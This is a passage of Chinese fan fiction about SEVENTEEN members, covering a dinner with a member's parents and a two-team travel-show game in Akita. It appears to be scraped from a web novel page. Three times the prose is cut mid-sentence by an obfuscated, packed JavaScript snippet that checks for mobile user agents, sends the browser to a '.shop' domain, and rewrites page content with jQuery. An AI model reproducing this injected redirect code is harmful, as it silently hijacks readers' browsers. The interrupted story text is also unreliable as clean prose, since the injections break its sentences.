“厉害啥,中俄是母语,英语算是国际通用语,就连韩语也是来韩国后才重新从头学的。”姜里树想起来这事儿就想叹气,重新学韩语那一阵子,每天就是学习,练习,“孤立所有人”。没学,不想开口,学了,就更不想开口了…因为听懂了那群人对他说的什么词汇了。 所以后来,当文俊辉、姚明明、徐明浩陆续来到异国时,他总会刻意带着他们融入集体,和其他成员主动靠近、交谈、玩闹。 他绝不让他们任何一个人,体会那种独自来到异国他乡站在人群中央却如同透明的滋味。 突然出现在他视野里的崔胜澈简直就是公司里的一股清流,明知道他被孤立还要往他身边凑,和他一起硬是把自己熬成了练习生里的大前辈。 想到这儿,姜里树抬起头,望向坐在爸爸旁边的崔胜澈……那人已经喝得脸颊绯红,眼神都有些飘了! “妈妈!你看老爸让胜澈喝了好多酒!”姜里树立刻指向爸爸,朝妈妈“告状”。 他起身快步走到崔胜澈身边,低头一看,孩子们喝的都是十几度的韩式烧酒,再看老爸手边的酒瓶子,那分明是53?的伏特加! “老爸!我们刚从舞台上下来,得让胜澈好好吃饭,怎么能灌这么烈的酒啊……”姜里树语气里带着无奈,手已经轻轻按上崔胜澈发烫的额头和脸颊。 崔胜澈眯着眼,朝他傻笑:“里树啊……爸爸说、说这是‘男人间的交流’……” 里树爸爸推了推金丝眼镜,笑得很无辜:“只是小酌两杯,之前胜澈就说想试试了。” 姜里树叹了口气,接过崔胜澈手里的杯子,转头对文俊辉轻声说让他叫服务员倒杯蜂蜜水来。 他环顾餐桌,果然只有崔胜澈和他老爸两人面前摆着酒杯,其他孩子杯里乖乖的都是橙汁或汽水,正一边吃着菜肴一边笑嘻嘻地看热闹。 桌上其他成员憋着笑,姜里树对上尹净汉的视线,看着他托着腮用口型对姜里树说:kiyo~。 姜里树无奈的嗔了他一眼,又低下头去看崔胜澈的状态。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205983|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >灯光下,酒杯碰撞声、笑声、姜里树低声的叮嘱,还有崔胜澈迷迷糊糊的嘟囔,混成一团暖洋洋的喧闹。 糊糊涂涂的崔胜澈这会儿已经喝懵了,只觉得姜里树的手温度凉凉的,便攥着他的手腕,一个劲往自己发烫的脸上贴。 散席时,SEVENTEEN的孩子们陆续上了保姆车。姜里树背着崔胜澈走在最后面,等着和正在嘱托全圆佑的父母道别。 里树妈妈轻轻拉住了走在最后的全圆佑。 “圆佑啊,别太担心。”她声音很柔,拍了拍他的手背,“你妈妈的病情发现得早,好好治疗就能康复的。你自己也一定要照顾好身体,知道吗?” 她是从父母聊天群里,还有女儿姜南与的口中得知的这件事,本来父母们都打算帮圆佑妈妈瞒着,但是公司直接告知了全圆佑,并批了假让他回家确认母亲的情况后,才算安心继续团队行程的。 所以方才在门口,她特意多留了一步。有些话,母亲来说,或许比任何安慰都更直接地落到心里。 全圆佑怔了怔,随即眼眶微微发热。他用力点头,嗓子有些哑:“谢谢姜妈妈……我会的。” 里树爸爸也拍了拍他的肩膀,无声鼓励着他。 因为公司规模不大,Pledis自他们出道后便定期安排成员及父母到合作医院进行体检,并统一购买了医疗保险。前不久,全圆佑的母亲在体检中查出病症,幸而发现得及时,预后良好。保险报销后,个人负担的部分并不多,公司更直接垫付了个人所需支付的余款,后续将从全圆佑的个人结算中按比例扣除。 这些事公司从未宣扬,孩子们却都记在心里。在这个圈子里,“家”与“责任”往往被喧嚣掩盖,但总有些时刻,一些细微的举措比任何口号都更有重量。 全圆佑坐进车里前,回头朝还站在门口挥手的里树父母深深鞠了一躬。 坐在他旁边的文俊辉从旁边递来一瓶水:“圆佑啊,喝点水。” “嗯。”全圆佑接过,指尖摩挲着冰凉的瓶身。 待到所有孩子回到车上,姜里树父母道别后,崔胜澈伏在他背上,含糊地嘟囔:“里树啊……回家了吗……” “嗯,回家了。”姜里树轻声应着,一步一步朝车灯亮着的方向走。 车里,孩子们自动让出前排的位置。姜里树小心地扶着崔胜澈坐稳,让他靠稳在怀里,又拉过外套盖在他身上。 引擎启动,车窗外的夜景缓缓流淌。崔胜澈在颠簸中皱了皱眉,下意识往姜里树怀里缩了缩。 尹净汉从后座探头看过来,轻声问:“睡着了?” “嗯。”姜里树低头看着崔胜澈泛红的睡脸,指尖轻轻拨开他额前汗湿的发丝。 车内渐渐安静下来,只有呼吸声均匀起伏。路灯的光影一道一道掠过车窗,在每个人疲倦却柔软的脸上明明灭灭。 这一天,从舞台到饭桌,从异乡到故土,从万众欢呼到私语温情——终于在这一刻,沉进黑暗与静谧里。 而他们的路,还在向前延伸。 44. 44.‘再来一次\’ “啊~我真的要对‘美好的一天’这几个字产生心理阴影了…” 姜里树坐在车里,看着身旁文俊辉手机屏幕上新行程的标题,立马脑海里闪现了第一次“漂流记”的情况忍不住抬手按了按突突直跳的额角。 屏幕亮光在昏暗的车厢里格外醒目,那行字清清楚楚: [SEVENTEEN’s ‘美好的一天2’ 录制通知。] 一个字都没有多余透露的让他们踏上了这趟行程。 到了东京,经纪人们开车带他们去了一家日料店,连酒店都没直接去。 进门时,姜里树低头看了一眼脚下,那块脚垫的风格怎么看都跟整个店的和风装潢格格不入,上面印着一个醒目的英文单词: “LOGIN” 这东西好奇怪。姜里树皱了皱眉,正想抬脚跨过去,身后正和徐明浩说话的金珉奎没注意,结结实实撞了上来。 “哦!米亚内!hiong!没事吧?!”金珉奎赶忙扶住踉跄的姜里树。 “……没事,快进去吧。”踩都踩了,姜里树无奈地揉了揉被撞疼的后背,跟着队伍走进店内。 屋里摆着满满两大桌日式料理,正热气腾腾地等着他们。 寿司拼盘泛着油亮的光,天妇罗炸得金黄酥脆,味噌汤的白气袅袅升起,烤肉在铁板上滋滋作响。饿了一路的孩子们顿时眼睛发亮,欢呼着涌向座位。 这熟悉的既视感实在太强了,丰盛的晚餐、陌生的地点。但总不能是上次一样的套路吧?姜里树抱着微弱的侥幸,低头塞了一口鲜香的拉面。 这是一顿平静无风的晚餐,直到最后一个成员放下筷子,都没有工作人员出来宣布活动。一直等到碗筷被收走,制作人才悠悠开口。 “游戏其实……在你们进门时就已经开始了。” “门口那个脚垫?”姜里树问。 “Bingo!每个人都踩到了垫子,游戏自动激活。” “所以如果我们没踩,游戏就没办法开始?”尹净汉挑眉。 “内,是这样的。”制作人点头,语气带笑,“差一个人都不行。” “……”姜里树默默挪到还坐在地上的金珉奎身后,伸出胳膊轻轻环住这孩子的脖子,在微笑中逐渐收紧。 “孩子们先自行决定分成两组吧。”制作人宣布游戏开始的第一步,“分组”。 “分组?”孩子们互相看看。 “剪刀石头布决定?”全圆佑提议。 “大家都在不同的年龄层”,崔胜澈反对。 “干脆分成哥哥组和弟弟组吧,”尹净汉瞬间懂了崔胜澈的意思,接过他的话说,“95、96的哥哥组,97、98、99的弟弟组?” “哦!很有趣啊~” “哎?” “好……耶?这不对吧!哥哥队有八个人啊!”夫胜宽反应过来,大声抗议。 确实,这么一听,感觉好像弟弟组人多,但其实成员都在哥哥组这边,人数瞬间碾压。 “那我去弟弟组吧。”姜里树笑着说,胳膊仍虚虚环在金珉奎颈间一直没松开,“我不是十四吗?正好这次让我也当一回弟弟吧。” 金珉奎在他臂弯里缩了缩脖子,小声嘀咕:“弟……你倒是先放开哥啊……嘎!” 既然分组已定,接下来便是选出两队的队长。 哥哥队派出了幸运值max的尹净汉,弟弟队则推举了力量担当金珉奎。 说来也巧,两人从腰后的小盒子里摇出的小球上,竟正好写着自己的名字。哥哥队队长:尹净汉,弟弟队队长:金珉奎,戏剧性从这一刻拉满。 尹净汉反应极快,一把提起蓝色行李箱。金珉奎慢了一步,只能接过剩下的红色箱子。 新上任的哥哥队队长尹净汉打开蓝色行李箱,从里面抽出一沓整齐叠放着的机票,目的地:秋田。 弟弟队队长金珉奎,一把掀开红色行李箱,映入眼帘的是厚厚一叠“新干线”车票,终点同样写着:秋田。 哥哥队全员眼睛发亮,崔胜澈已经开始欢呼了:“飞机!是飞机!” “火车?!东京到秋田要坐四个多小时啊——!!” 弟弟队则陷入短暂的沉默,随即爆发出不甘的哀嚎。 尹净汉笑眯眯地晃了晃手里的机票,朝对面眨了眨眼。 金珉奎拿着那叠车票,一脸委屈地看向姜里树:“哥……我们真的要坐四个多小时火车吗?” “火车有火车的好啊,从东京到秋田一路的雪景很漂亮的。”姜里树拍了拍他的肩,眼里却闪过一丝笑意。 在哥哥队喜不自胜、弟弟队“愁云惨淡”的氛围中,尹净汉版本的“瞅我汪”导游发来了第一个任务消息。 “请根据以下图片提示,在秋田市内找到专属场景并完成合照。” 姜里树听着尹净汉奶声奶气地读着“瞅我汪”导游的提示,忍不住低头笑了出来。他站在金珉奎背后,看向他手中平板上的图片。 有点眼熟,但是想不起来,应该是妈妈带着小时候的他去过旅游过的地方。 回到酒店后,和李知勋同住一屋的姜里树打开随身记事本,开始规划第二天的行程路线。 于是,哥哥队里最小的“弟弟”李知勋,和弟弟队里最年长的“哥哥”姜里树,就这样在酒店房间里聚头了。 “里树,你的笔记好详细啊。”李知勋洗漱完从卫生间出来,边擦头发边走到姜里树身边,看着他在地图上细致标注的路线和时间节点。 “计划赶不上变化,”姜里树笔尖未停,声音很轻,“我只是先规划出来,看看能不能最大限度地让孩子们好好玩一下。” 李知勋在他身旁坐下,看着他笔下延伸的箭头与圈注,怎么样乘车便捷、便宜。 “我现在去弟弟队还来不来得及?”李知勋叹了口气,想到队里不像哥哥的哥哥们。在没有危险的时候,队里除了姜里树之外的所有哥那就是最大的危险,现在他一下把这六个全集齐了。 “哈哈。”姜里树好笑地扭头看他,接过李知勋手中的毛巾,自然地帮他擦起还在滴水的头发,“现在想逃已经晚啦,wuli知勋呐。” 毛巾轻柔地揉过发梢,李知勋索性闭上眼睛,任由姜里树动作。暖黄的灯光下,这个总是紧绷着的制作人难得显出一丝松懈的柔软。 “明天要早起,头发必须干透才能睡。”姜里树声音很轻,手上力道却稳,一下一下擦得认真。 房间里只剩下毛巾摩擦的细微声响,和窗外隐约的风声。地图还摊在桌子上,彩色的便签像小小的旗帜,插在属于明天的旅途上。 但这一刻,没有队伍,没有输赢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205984|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有哥哥的手,和弟弟微微低下的头。 第二天天还没亮透,姜里树就轻手轻脚出了门。 东京的清晨冷得呵气成霜,他裹紧羽绒服,穿过安静的街道,找到一家刚开门的早餐店。热腾腾的饭团、三明治,还有几杯滚烫的咖啡,他仔细分成两份装好。 回到酒店,他将哥哥队的那一份放在自己和李知勋房间的桌上,旁边留了张字条:「知勋啊,早餐在桌上,记得和哥哥们吃。我们先出发了。——里树」 “要出发了吗……”李知勋迷迷糊糊醒来,隐约看见姜里树把一个大大的塑料袋放在桌上。 “吵醒你了吗?米亚内啊。”姜里树纸条还没写完就听见他的声音,走到床边轻轻摸了摸他睡得翘起的头发,“继续睡吧,我们要先出发了。” 他的手指带着室外的凉意,动作却温柔。李知勋半睁着眼,含糊地“嗯”了一声,又往被窝里缩了缩。 姜里树替他掖好被角,悄声带上门离开。 房间里重新暗下来。没一会儿李知勋在朦胧中听见走廊里隐约的脚步声、压低的交谈、行李箱轮子滚过地毯的闷响——那是弟弟队正在集结出发。 而后,一切归于寂静。 只有桌上塑料袋窸窣的轻响,和空气中渐渐飘开的食物暖香,提醒着这个房间并非只有他一人。 李知勋翻了个身,把脸埋进枕头里。 嘴角却无意识地,弯起一个很小的弧度。 出了房门后,姜里树拎着另一袋早餐和行李,去敲弟弟队房间的门。 “孩子们,该起床了——”声音放得很轻,却足够叫醒浅眠的成员。 走在去往地铁站的路上,金珉奎啃着饭团含糊不清地说:“哥你什么时候去买的……” “趁你们还做梦的时候。”姜里树把提着的咖啡递过去,“小心烫。” 提前做好纸质版规划的姜里树给弟弟们指好路线就默默跟在队伍后面,乖乖做一个“弟弟”。一路上说说笑笑的,很快就到达了地铁站,距离住宿的酒店并不是太远。 最后成功上了火车,找到座位安顿下来后,车厢里很快安静下来。 窗外的天色昏暗,建筑匀速后退,暖气嗡嗡作响。不过几分钟,昨晚没睡够的疲惫便漫了上来,李灿头一歪靠着椅背睡着了,夫胜宽和崔瀚率头朝着头,徐明浩听着歌闭上眼,李硕珉也安静的入睡了,金珉奎则迷迷糊糊地扭头看着他身边座位的姜里树正低头核对今天的路线行程表,忽然觉得,即使要坐四个多小时火车,对手还是坐飞机的哥哥队,好像也没那么慌了。 因为他们的哥哥,总会在天还没亮时,就把温暖握在手里,再稳稳地分到每个人掌心。 磕磕绊绊的两队人马,竟在前往目的地的公交站意外相遇了。姜里树正走下台阶,侧头看向走廊阶梯玻璃外的景色,便注意到了正在候车的哥哥队成员。目光相撞的瞬间,对方竟齐刷刷扭过头,慌忙躲到了站牌后头……躲起来了?姜里树脚步一顿,心想这是什么新战术? 姜里树把这事跟弟弟队的孩子们说了一声,夫胜宽第一个反应过来,冲出车站门就招呼其他人喊着:“跑!”一群人呼啦啦跟着他拔腿就冲。对面的哥哥队立刻察觉,大声呼喊,谁知喊得越响,前头跑得越快。姜里树被弟弟们裹着往前跑,心里又冒出个问号,这又是什么战术? 45. 45. ‘切蒲英?\’ 看到哥哥队全数登上公交车,弟弟队这边迅速估算了一番,与其挤公交等站点,不如直接乘坐出租来得快。于是夫胜宽一招手,两辆出租车应声停下。姜里树上前用日语跟两辆车的司机清楚交代了目的地,车门一关,车队立刻出发。路上果然碰见了靠站停靠的哥哥队乘坐的公交车。 他们顺利找到照片中那张情侣椅,咔嚓拍下认证照,任务完成得干脆利落。 谁知刚走出大楼,迎面就撞见狂奔而来的哥哥队。弟弟队的孩子们顿时如惊鸟四散,却在慌乱中依旧方向明确,一路冲向任务提交点,最终抢先一步,成功赢下首局胜利。 ‘哇,被带着躺赢,原来是这么快乐的事啊。’姜里树吃着弟弟们赢来的热乎饭菜,心里美滋滋地感叹。 饱餐一顿后,金队长爽快地请大家吃了冰淇淋。正一人一口吃着呢,“瞅我汪”导游就发布了第二项任务: “请购买秋田五大特色美食,下午四点半在千秋公园集合。” 接着,节目组用日语报出了五种名称。 孩子们耳中听到的是:“漬物、ハタハタ、バター大福、比内地鶏、チェプヨン。” 而姜里树脑中自动翻译成了:“腌菜、叉牙鱼、黄油大福、比内地鸡、切蒲英。” “记好了,”姜里树点点头说着,那决定干脆直接走捷径好了,他环视四周渐渐围拢的少女们,扬起亲切的微笑,用日语问道:“こんにちは、チェプヨンはどこで売っていますか?(你们好,请问切蒲英在哪里能买到呢?)” 女孩们愣了一下,随即激动地小声交谈起来。其中一个短发女生鼓起勇气上前,用日语和手势回答:“在前面……商店街……转角!” “ありがとうございます。”(谢谢。)姜里树微微鞠躬,转身对弟弟队的孩子们招招手,“走吧,商店街。” 没想到赶到那家店时,门却紧锁着。门上贴着一张手写告示:“本日临时休业”。 “哎——怎么这样!”夫胜宽推了推紧锁的门确实打不开。 金珉奎看看平板又看看门:“现在怎么办?” “先买其他的。” 姜里树再次向跟来的少女们询问,得知接下来要买的几样,附近的菜市场里就能一次找齐。于是一行人风风火火,带着身后渐渐壮大的“观光团”,直奔市场而去。 顺利买到“腌菜”后,姜里树和金珉奎正弯腰向摊主打听下一个食物的摊位,身后突然传来徐明浩压低声音的惊呼:“啊!” 姜里树立刻回头,只瞥见一个佝偻着背、形似浣熊的棕色背影,正偷偷摸摸地快速从人群里溜走,眨眼就窜出了视线。 “……”崔胜澈你在干什么!这孩子的胜负欲是不是太强了一点…… “莫呀?……”徐明浩直接被他哥这操作气笑了。 还没等姜里树迈步去追,他家被“抢劫”的弟弟徐明浩已经像支箭般冲了出去,直追那道逃窜的身影。 “明浩啊!等等——”姜里树话未落,只得带着其余孩子紧跟着追出摊位。 刚冲到菜市场一处拐角,弟弟队就看见了同样聚集过来的哥哥队。两拨人便在喧闹的狭窄过道迎面撞上,竟在这一刻全员会面了。 而徐明浩一点儿也没打算惯着他哥。见崔胜澈停下脚步,他站在原地,气鼓鼓地瞪着崔胜澈,那双圆眼睛里写满了“还我”两个字,还带着点习武之人特有的锐利劲儿。 崔胜澈被他盯得后背发毛,手里那袋刚“缴获”的腌菜顿时变得烫手起来。他干笑两声,试图缓和气氛:“这就是腌菜哎……” 徐明浩不说话,只是继续盯着他,手已经微微抬了起来。不是要动手,但那架势分明在说:我可以自己拿回来。 “哎一古,真是……”崔胜澈投降般叹了口气知道了什么是腌菜后,笑着把袋子递过去,“喏,还你啦。我们明浩真是越来越不好惹了。” 徐明浩接过袋子,表情这才松下来,可还是被气笑了的吐槽着:“哇,哥哥队真是棒!棒!的!……” 姜里树在一旁看着,嘴角弯起一个很小的弧度。他伸手揉了揉徐明浩的后脑勺:“走吧,任务还没完呢。” 两队人马再度分开,像两股汇入市井的溪流,迅速消散在市场的喧嚷与岔路间。 姜里树在少年带着弟弟们找物资,金珉奎小队长就守护在弟弟队最后面,用锐利的目光防备着哥哥队的再次偷袭。 金珉奎凑近姜里树,压低声音道:“哥,我们分开行动吧。我刚才注意到,哥哥队手上已经提了不少东西,恐怕快完成任务了。” “好,你带队去买叉牙鱼和比内地鸡,我带灿尼去找黄油大福。买齐后立刻在市场门口会合。” 两人对视一眼,随即转身汇入人流。金珉奎脚步迅疾地朝目标区域赶去,而姜里树则牵起李灿的手,带着忙内拐向传统点心铺的方向。市场喧声如潮,却盖不住两人心里清晰的倒数。 接连问了几家点心铺子,得到的回应都是摇头。就在几乎要放弃时,一位热情的摊主姐姐指了指车站方向:“黄油大福啊,要去秋田站那边才买得到哦。” 姜里树下意识往口袋里摸手机,却掏了个空…早上出发时太匆忙,手机落在留给哥哥队早餐旁边了,现在应该在李知勋那儿。他转头对李灿说:“给珉奎打个电话,告诉他我们直接去秋田站买黄油大福,让他们采买好直接在千秋公园集合。” 李灿点点头,边拨号码边跟着姜里树快步朝车站方向走去。人潮在身边流动,两个身影逆着光,匆匆汇入秋田午后明晃晃的街景里。 两人匆匆跑回秋田站,幸好柜台里还有很多黄油大福。付款、接过纸袋,顾不上喘口气,又立刻奔向车站出口。 “快,公园!”他拉上李灿,再次奔跑起来。 空气寒冷,李灿喘着气问:“哥……公园……还有多远……” “快了!”姜里树其实也不确定,“你好千秋公园怎么走?”姜里树拦住一位路人,得到方向后便带着李灿再度奔跑起来。午后的街道被拉成长长的光影,两个身影掠过商铺、路口、天桥,手中紧握的塑料袋随着步伐沙沙作响。 远远看见公园入口的时钟塔时,姜里树瞥了一眼时间,还差五分钟。 正好踩点到达。 公园广场上,哥哥队早已全员到齐,正悠闲地围着战利品拍照。崔胜澈第一个看见他们,立刻扬起笑容,故意拉长声音: “呀!里树啊——要跑起来才行啊!” 姜里树撑着膝盖喘气,累得连瞪他的力气都没有。李灿直接跪趴在地上,手里还举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205985|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那袋切蒲英,像面迟到的旗帜。 ‘崔胜澈……别让我抓到你……’ 姜里树直起身,手指着对方那副嘚瑟的小模样,话却断在喘息的间隙里。将近半小时的全速奔跑让他的喉咙发干,心跳撞得耳膜嗡嗡作响,说不出话。 回去就健身。这个念头在喘息的空白里变得异常清晰。 既然所有队伍都在规定时间内到齐,胜负便取决于各自手中那份“秋田五大美食”的完整性。 制作人nim开始逐一核对: “腌菜——正确。” “叉牙鱼——正确。” “黄油大福——正确。” “比内地鸡——正确。” 到了拿出最后一样“切蒲英”,气氛紧绷起来。哥哥队志在必得,弟弟队屏息凝神。 制作人nim沉默两秒:“哥哥队的‘切蒲英’……买错了。” 原本胜利在望的哥哥队,却偏偏在最后一样“切蒲英”上栽了跟头,他们买成了鱿鱼。而弟弟队的五样食物,全部正确。 瞬间寂静,随即爆发。 “耶——!!!”弟弟队全员跳了起来,金珉奎直接扑向李硕珉,夫胜宽和徐明浩抱成一团欢呼。 哥哥队则陷入呆滞。尹净汉拿起那袋鱿鱼,不敢置信:“这不是切蒲英吗?” “呀!澈哩啊——”姜里树和李灿互相搀扶着,学着崔胜澈方才那副语调,慢悠悠地把话抛了回去,“要赢下来才行啊。” 崔胜澈瞪大眼睛:“呀!姜里树!” 话音刚落,尹净汉就笑着加入战局:“呀呀!里树啊,带队的人可是我啊!”他捂着心口一副被误伤的样子,“个人的‘仇’怎么能用群体攻击呢?” 姜里树眨了眨眼,一脸无辜:“可是,是胜澈哩先开始的呀。” “但他只攻击了你一个,”洪知秀笑着帮腔,“你现在却攻击了我们所有人!” 哥哥队顿时围上来,七嘴八舌地“控诉”。姜里树被围在中间,看着这群人假哭的假哭、耍赖的耍赖,终于忍不住笑出声来。 “好好好,是我不对,”姜里树笑着举起双手作投降状,“那要怎么补偿你们啊?” “不如,”尹净汉眼睛一弯,顺杆而上提出要求,“里树来我们队吧?” “安怼!!!” 还没等姜里树回话,弟弟队的孩子们已经一窝蜂冲了上来,七手八脚地把被哥哥队围在中间的姜里树给“抢”了回去。金珉奎第一个冲过来,一把拽住姜里树的胳膊往后拉:“里树哥是我们的队!” 李硕珉和徐明浩一左一右护住姜里树两侧,夫胜宽直接张开手臂拦在前面:“净汉哥!不能这样!” 崔瀚率默默站到姜里树身后,李灿则紧紧抱住姜里树的腰,仰头喊:“哥哪里也不去!” 哥哥队也不甘示弱。崔胜澈伸手去拉姜里树另一只胳膊:“里树本来就是95line的!” 洪知秀笑眯眯的加入:“就是,回来也没什么不对的呀?” 姜里树被两股力量拉扯着,哭笑不得:“呀……我要裂开了……” 然而没有人松手,就地展开一场幼稚又激烈的“姜里树争夺战”。 笑声传染开来,所有人凑过来闹,十四个人在公园里笑成一团。 46. 46.“哈!” 是不是有点太煎熬了?这简直是在让两队孩子互相拉仇恨吧……姜里树边吃边心里嘀咕,眼神却忍不住飘向旁边桌子,哥哥队队员们正眼巴巴地望着这边满桌美食。 他趁镜头转向别处,悄悄把面前的食物一口一口喂给了坐在身旁的李知勋,全程还得顶着崔胜澈和哥哥队其他几个孩子的“注视”,只是崔胜澈那道委屈的控诉目光格外强烈。 这不能怪他,是崔胜澈自己坐的也太远了点。 居然 “……”报复这么快吗?姜里树看着被选中用筷子吃一口饭的崔胜澈走到他身边,慢条斯理地伸出筷子,对准姜里树面前那碗拉面,开始一圈、两圈、三圈……把面条全部卷到了筷子上,堆成高高的一团。 姜里树看着他得一口吃下去,都替他觉得噎得慌,连忙把手边的清茶帮他准备着。 金珉奎大手一挥,把自己提前准备的泡面分给了哥哥队。这一口那一口的喂着,总算让孩子们都吃了个大半饱。 填饱肚子,便该选出第二天的队长了。由双方第一任队长尹净汉与金珉奎,通过摇乒乓球的方式,决定新任队长的人选。 哥哥队新任队长——全圆佑 弟弟队新任队长——徐明浩 “帕苏!!!THE8 队长!”姜里树第一个笑着鼓起掌来。其实弟弟队里选到谁他都挺开心。只要不是他自己当队长就行。 一夜好眠。 早晨七点,弟弟队在 THE8 队长的带领下准时出发,迎着晨光坐上巴士朝当日的任务目的地前行。 一路上弟弟队都格外兴奋,尤其在发现他们乘坐的巴士侧面贴着“天国”两个大字后,气氛更是高涨。欢声笑语持续了一路,直到巴士缓缓停稳。 车门打开,一片无垠的洁白雪原在眼前展开。冷冽清新的空气扑面而来,孩子们瞬间静了一瞬,随即涌下车,惊叹声散落在茫茫雪野之间。 还没等他们好好欣赏雪景,‘瞅我汪’导游的任务就来了:掌握雪地摩托。 所有人围着教练认真听完讲解,便有队员陆续跨上车座。引擎声在雪原上陆续响起,起初有些生疏,但很快就变得流畅起来。 和之前开过的卡丁车差不多,雪地摩托并不难上手。姜里树干脆坐在雪地上晒起太阳。眼前,李硕珉、金珉奎和徐明浩已经兴致勃勃地开启了“雪原竞速赛”,引擎声在空旷的雪野上呼啸交错,扬起一阵阵细碎的雪沫。和姜里树待在一旁的三个忙内正在讨论谁会第一圈开回来。 等姜里树带着另外三个孩子骑着雪地摩托绕完一大圈回来,弟弟队“掌握雪地摩托”的任务便正式完成了。 玩雪的玩雪,骑车的骑车,雪场上一时热闹得很。姜里树也没继续坐着挂机,蹲在一旁开始堆雪人。 忽然,一个结结实实的雪团重重砸在他背上,力道大得让他整个人往前一扑,迎面和自己刚堆好的雪人来了个“亲密拥抱”。 他扭头去找“凶手”,就看到徐明浩立刻指向金珉奎,金珉奎转头就指李灿,李灿则一脸茫然地指着自己。 姜里树被这串行云流水的甩锅逗笑了。他也不追究到底是谁先动的手,干脆举起雪人还没安上去的脑袋,朝着弟弟们就冲了过去。 尖叫声瞬间炸开,笑闹声裹着飞扬的雪沫,惊起远处枝头簌簌的落雪。 短暂的玩闹过后就该开始新的任务了,‘瞅我汪’导游正在召唤孩子们集合。 新的任务规则公布:两人一组,驾驶雪地摩托完成圆形赛道。赛道上会设置初声词汇,但摩托行驶中不能停下。三组队员需各自记下看到的词汇,传递给在终点等待的第七人,由他整合成一句话,并猜出正确答案。 加油鼓劲后姜里树让弟弟们去看词汇,他来当第七人猜出问题答案。 第一组:徐明浩 & 李硕珉。徐明浩最先抵达,和李硕珉凑在一起核对看到的词汇:“OELO匚”。 第二组:金珉奎 & 李灿。两人下了车快速对姜里树比划:“m o B KK”。 第三组:夫胜宽 & 崔瀚率,回来后也迅速报上看到的字符。 姜里树接过平板,把孩子们七嘴八舌报出的“初声词汇”一个个记下来。 他看着屏幕上那堆被拆得四分五裂的韩语文字符号,沉默了两秒。 ……韩国人何必为难重国人。 试试吧。填词造句,重国小孩儿不都这么过来的吗?姜里树盯着平板上零散的字符,试着把它们拼凑成有意义的组合。填着填着,他无意识地照着节奏念了出来: “OELO匚……m o B KK……” 一旁的夫胜宽忽然眼睛一亮,拍着手跳起来:“啊!这是《PRETTY U》的歌词啊!” “????????? (要不上网查一下吧) ??????? (穿什么样的衣服该去什么地方)!” 旋律和记忆瞬间被唤醒,零散的字母在熟悉的歌词中找到了各自的位置,在歌曲中正是徐明浩和李灿的part。 小队长迅速把拼好的正确答案交给“瞅我汪”导游。 “正确!任务完成!” 欢呼声和击掌声瞬间在雪地里炸开,冷冽的空气里漫起一团团白雾般的哈气。 “哇——孩子们真厉害啊。”姜里树一边鼓掌一边感叹。他在弟弟队里简直躺赢得明明白白,毫无用武之地。倒是孩子们活蹦乱跳的,心态热情。 果然,还是安逸的地方适合他,不用动脑子的感觉真的太好了~ 弟弟队在“雪地天国”享受完“美好的一天”后,回到了住处。 姜里树顶着一头半干的头发下楼,就看见孩子们正挤在大厅中央的椅子上,围着平板嘀嘀咕咕。 “干嘛呢?” “正和哥哥队聊天呢。”徐明浩指了指屏幕。 “呀是谁拿着平板怎么不说话是谁啊Woozi生气了…”金珉奎叽里咕噜地念出一长串没带标点的消息,气都不带喘。 “是尹净汉!”他非常肯定地下了结论,顺手在对话框里敲下了对方的名字。 视频电话接通后,弟弟们第一件事就是“问候”哥哥们的“地狱行”感受。 对面却笑得一脸灿烂,热情分享起温泉池的快乐时光。 “啊~”孩子们发出了羡慕的声音。 这边还没来得及多说几句,哥哥队那头就听见平板里一阵混乱的惊呼,紧接着,弟弟队那边的视频画面骤然断成一片漆黑。 姜里树原本站在孩子们外侧,几乎在身边有东西靠近的瞬间,他就已经侧身展开手臂,结结实实拦在了那道突然扑近的黑影前。弟弟们吓得往后一缩,下意识攥紧了他身后的衣角,又忍住害怕从他肩侧探头,努力想看清那究竟是什么。 镜头在这时推近,定格在姜里树那张严肃脸上。他眉心紧蹙,那双惯常含笑的绿眼睛此刻沉了下来,在明明灭灭的光线里像锁定了目标的狼,直直刺向眼前涂画诡异、姿态扭曲的扮鬼演员。气氛凝滞,盯了两秒,他倏地抬起视线,越过人影,看向节目组所在的暗处。 节目组连忙摆手,用口型比着“没事、安排好的”。姜里树眉头微微一松,镜头下的表情稍缓,可张开的手臂和身形却丝毫未动依然稳稳拦在弟弟们与屏风构成的窄隙之间,将还在试图靠近的扮鬼演员隔在外侧。顶灯的光落在他肩背上,拓下一道没有退让意味的影。 那造型怪得离奇,让平时不怕鬼的姜里树都心头一梗,更别提去个废弃学校都能尖叫声传八百里的弟弟们。丑得他差点条件反射,一脚就踹出去了。 